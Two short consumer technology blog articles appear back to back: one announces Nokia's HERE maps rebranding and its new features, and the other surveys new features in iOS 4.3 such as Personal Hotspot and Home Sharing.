Nokia Announces Nokia HERE. Available for IOS and Android
Nokia is going to rebrand their mapping service to Nokia HERE. In an event in San Francisco, Nokia CEO Stephen Elop announced that the company will be rebranding their mapping service to Nokia Here. There will be no major change in the Service but Nokia has added some worthy cool new features.
Nokia HERE, will allow you to save locations to your Nokia account so you can quickly jump to them whenever you need without have to search for them every time. This feature is called Collections. You can also sync the locations across devices once you log into your Nokia account. Collections is very similar to the Starring features in Google Maps.
Nokia has also improved their 3D maps by introducing 3D view of several key locations arount the world. Similar feature like the Flyover feature in the new Apple Maps
Nokia has also added a maps editor, so now users can update street name and traffic information and the information will be added to the maps for others to see.
Nokia also acquired street view mapping company Earthming, which brings street view functionality to Nokia's Maps.
It will be available as a free download, according to the Nokia press release, and will be based on HTML 5, feature offline modes, voice-guided walking directions and build in public transit guidance.
Nokia will be bringing their HERE maps to iOS and Android as well. The iOS and Android apps will be released soon and Nokia will also be providing the maps SDK to Android OEMs so they can integrate it within their apps. The iOS version includes turn by turn directions and public transportation information and is currently pending Apple's approval. A web version for Mozilla's upcoming Firefox OS will be released next year.

What is New in iOS 4.3
About iOS Version 4.3
The equivalent of Apple's Mac OS X on the mobile platform, iOS ranks among the top three mobile operating systems in the world today, along with Android and Symbian. Due to its Mac OS X lineage, iOS is a Unix based system geared up to work with touch screen gestures and direct manipulation. The iOS 4.3 release date was eagerly awaited by all Apple gadget users as it promised a large number of new features and I daresay, it has indeed been worth the wait.
Released 2 days before the iPad 2, this version comes with a range of software bugs from the earlier versions fixed and an addition of several new features. On March 25, 2011, a version 4.3.1 was released to fix some more bugs. Let us see what are the new features that you can look forward to, in this new version, as an iPod Touch, iPhone or iPad user.
What is New in iOS 4.3 for iPhone, iPod Touch & iPad?
There are hundreds of minute improvements made by Apple developers in this new version. I shall highlight the most important features for you here. For more detailed information about the bug fixed refer to the release details on Apple Website.
Personal Hotspot for WiFi Tethering
The earlier versions of the iOS didn't provide a WiFi tethering facility for the iPhone, which made people jailbreak the phone for third party WiFi tethering applications. There is no need to jailbreak the phone anymore with iOS 4.3 introducing a native 'Personal Hotspot' feature, which lets you share your iPhone's wireless Internet connection with up to 5 devices simultaneously. AT&T, as well as Verizon have offered a special data pack for WiFi tethering which you can take advantage of, to use this new feature. This feature only works with iPhone 4G.
iTunes Library Home Sharing
Using the home sharing feature, you can now share any music or videos on your home network and play them on your iPhone, iPod or iPad. You can watch all the videos and music on your home computer on your iPad or iPhone using this feature. Another newly introduced feature is support for Airplay service (which lets you stream media on Apple TV, from Apple devices) to work with third party applications.
Faster Safari Browser With 'Nitro' Javascript Engine
The introduction of the Nitro Javascript engine is expected to speed up the performance of the native Safari browser, shipped with the iOS. Expect your webpages to load faster than before. Besides these important additions, rest of the changes are mostly bug fixes in previous launched applications and redesigning of features in some applications.
So these were the prime features to look forward to in the new iOS 4.3. I personally found the 'Personal Hotspot' function, which lets you convert your iPhone 4 into an Internet hotspot, to be the best of the new features. The iTunes home sharing feature is another great addition, making it easy to share your library music over the WiFi connection. The new scrubbing menu for videos is one more feature which you should particularly check out. Now that you know what is new in iOS 4.3, just update your iOS through iTunes and find out what the new avatar of this operating system, can do for you.
